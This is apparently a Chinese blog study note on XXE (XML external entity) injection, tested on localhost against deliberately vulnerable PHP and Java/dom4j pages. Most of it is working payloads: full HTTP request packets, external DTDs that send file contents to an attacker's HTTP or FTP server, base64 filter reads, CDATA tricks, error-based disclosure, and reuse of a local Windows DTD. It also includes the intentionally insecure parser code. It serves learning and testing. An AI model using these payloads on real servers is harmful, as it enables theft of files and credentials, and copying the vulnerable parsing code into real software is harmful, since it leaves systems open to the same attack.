前言

xxe的原理网上已经很多了,但是有时候实战时会遇到各类问题,这里简单总结下自己的学习记录,测试环境主要是java与php

正文

基础原理部分网上的相关内容比较多了,这里就不在再写了,有兴趣的可以在网上搜寻。下面主要介绍xxe的基本利用方式以及不同情况下的利用。

1、可回显注入

php版本

<?php

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$data = $xml->data;

echo $data;
echo "\n";

我们发送如下数据包

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
<!ENTITY fileData SYSTEM "file:/./usersa.txt"> 
]> 
<test>
<data>&fileData;</data> 
</test>

image.png

可成功读取当前文件夹下的users.txt

但是我们列目录时,出现报错:

image.png

java版本

为了方便环境创建,我这里使用的是tomcat,xml组件使用的是dom4j

创建的jsp如下:

<%@page import="org.dom4j.Document" %>
<%@page import="org.dom4j.DocumentException" %>
<%@page import="org.dom4j.Element" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.dom4j.io.SAXReader" %>

<%
    InputStream xml = request.getInputStream();
    SAXReader sax = new SAXReader();
    Document doc = sax.read(xml);
    Element root = doc.getRootElement();
    String data = (String) root.element("data").getData();
    out.println(data);
%>

可回显部分相似

java环境中是可以成功列出目录的

image.png

2、无回显方式

php版本

常见的

我们创建一个外部dtd

<!ENTITY % file SYSTEM "file:/./test.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:3333/?content=%file;'>">

python 启动一个http server

python -m http.server 4444

image.png

访问包如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/blind.dtd">
%remote;%payload;%send;
]>
<convert>
<data>123</data> 
</convert>

image.png

image.png

成功接收到test.txt中的内容

但是如果文件中有特殊字符将出现报错,

php中可以使用php伪协议,将内容Base64加密来读取,外部dtd使用

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=F:/CodeProject/php/XXEStudy/users.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:3333/?content=%file;'>">

image.png
可以成功读取

image.png

当然 如果不想两次出网的话,我们可以使用参数实体的方式

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
    <!ENTITY % locall '
        <!ENTITY &#x25; file SYSTEM "file:/./test.txt">
        <!ENTITY &#x25; payload "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://127.0.0.1:3333/&#x25;file;&#x27;>">
        '>
    %locall;
    %payload;
    %send;
]> 
<test>
<data>123</data> 
</test>

image.png

image.png

java环境

其余相似,但是在使用一次出网无回显xxe时,出现报错

image.png

也就是说DOM4j下在内部子集中无法使用参数实体。

那么java下如何查看特殊字符呢,可以使用FTP协议

使用filezilla 搭建一个ftp服务

image.png

需要创建一个匿名用户

image.png

请求包如下:

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=CCC97DDFAFA1E1BB1E8A19EBE23B577E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Content-Type: text/xml
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 152

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/blind.dtd">
%remote;%payload;%send;
]>
<convert>
<data>123</data> 
</convert>

外部dtd文件如下:

<!ENTITY % file SYSTEM "file:///">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'ftp://192.168.0.100:21/%file;'>">

image.png

可惜的是java高版本就对ftp输入进行验证了,无法传入\n等字符,可以作为一个备选方案。

image.png

我这里测试了jdk8u66是没问题的,试了jre1.8.0_152、8u202等等就不行。

3、读取xml文件等包含特殊字符文件

php版本

php可以用伪协议来读取,这里就不说明了。

java版本

如果读取的是个xml文件,则不会显示,且如果含有未闭合的xml标签,还会报错。

比如,users.xml文件如下:

<users>
<username>admin</username>
<password>admin</password>
</users>

xxe数据包如下

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 184

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
<!ENTITY fileData SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml"> 
]> 
<test>
<data>&fileData;1231</data> 
</test>

image.png
此时无法输出xml文件内容

那么怎么输出呢,可以使用CDATA部件,在CDATA部件的所有内容都会被XML解析器忽略,(之前试过一个组件<!---->也可以,但是dom4j并不行。

<![CDATA[]]>

image.png
但是上面说了,在内部子集中无法使用参数实体,所以得外部引用

外部实体如下:

<!ENTITY % start "<![CDATA[">
<!ENTITY % data SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY filedata '%start;%data;%end;'>">

请求包如下:

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 195

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/xmlread.dtd">
%remote;
%all;
]>
<convert>
<data>&filedata;</data> 
</convert>

image.png
成功返回,

4、报错回显

当环境有报错时,可以借着报错将结果输出,比如访问一个并不存在的文件,会出现文件不存在的错误,此方法也可将包含特殊字符的文件报错读出。

php环境

参照p牛的payload

POST /xxetest.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 363

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE test [
    <!ENTITY % locall '
        <!ENTITY &#x25; file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
        <!ENTITY &#x25; payload "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:/&#x25;file;&#x27;>">
        '>
    %locall;
    %payload;
    %error;
]> 
<test>
<data>123</data> 
</test>

image.png

java环境

上面的payload是不适用与java环境的,在java中需要再外部引用,外部dtd如下:

<!ENTITY % data SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % all "<!ENTITY &#x25; error SYSTEM 'file:/%data;'>">

请求包如下:

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 195

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/error.dtd">
%remote;
%all;
%error;
]>
<convert>
<data>123</data> 
</convert>

image.png

5、内部子集中无法使用参数实体的利用

在前面,java的利用都需要一个条件,那便是出网,如何不出网的利用呢,找到一个目标服务器上已存在的dtd文件,然后加载它,通过dtd的继承关系来修改其中的实体。参考:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

window环境下可以利用,C:\Windows\System32\wbem\xml\cim20.dtd

其内容如下

image.png

image.png

报错注入

数据包

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 479

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE convert [ 
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
	<!ENTITY &#x25; file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
	<!ENTITY test "test"'>
%local_dtd;
<convert>
<data>123</data> 
</convert>

image.png

可回显读取xml文件

数据包如下:

POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 505

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE convert [ 
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
	<!ENTITY &#x25; start "<![CDATA[">
	<!ENTITY &#x25; file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
        <!ENTITY &#x25; end "]]>">
	<!ENTITY &#x25; all "<!ENTITY filedata &#x27;&#x25;start;&#x25;file;&#x25;end;&#x27;>">
	<!ENTITY test "test"'>
%local_dtd;
%all;
]>
<convert>
<data>&filedata;</data> 
</convert>

image.png

参考

https://tttang.com/archive/1716/#toc__11

https://wooyun.js.org/drops/%E4%BD%A0%E6%89%80%E4%B8%8D%E7%9F%A5%E9%81%93%E7%9A%84XML%E5%AE%89%E5%85%A8.html

https://articles.zsxq.com/id_85l86vkeu8zf.html

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/